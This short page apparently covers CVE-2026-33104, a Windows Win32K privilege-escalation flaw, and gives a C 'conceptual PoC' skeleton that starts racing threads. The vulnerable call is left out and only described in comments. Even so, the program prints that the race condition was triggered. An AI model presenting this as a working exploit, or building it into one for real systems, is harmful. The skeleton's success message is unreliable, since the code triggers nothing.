CVE-2026-33104 Windows Win32K权限提升漏洞

#include <windows.h> #include <stdio.h> // Conceptual PoC for CVE-2026-33104 // This PoC demonstrates the threading mechanism required to trigger the race condition. HANDLE hStartEvent; DWORD WINAPI ExploitThread(LPVOID lpParam) { // Wait for the main thread to signal the start WaitForSingleObject(hStartEvent, INFINITE); // Trigger the vulnerable Win32k GRFX function // This involves specific API calls that race with the other thread // Example: Triggering a callback while modifying a shared GDI object return 0; } int main() { hStartEvent = CreateEvent(NULL, TRUE, FALSE, NULL); HANDLE hThreads[2]; // Create multiple threads to race against each other for (int i = 0; i < 2; i++) { hThreads[i] = CreateThread(NULL, 0, ExploitThread, NULL, 0, NULL); } // Signal threads to start simultaneously SetEvent(hStartEvent); // Wait for execution WaitForMultipleObjects(2, hThreads, TRUE, INFINITE); printf("[+] Race condition triggered."); return 0; }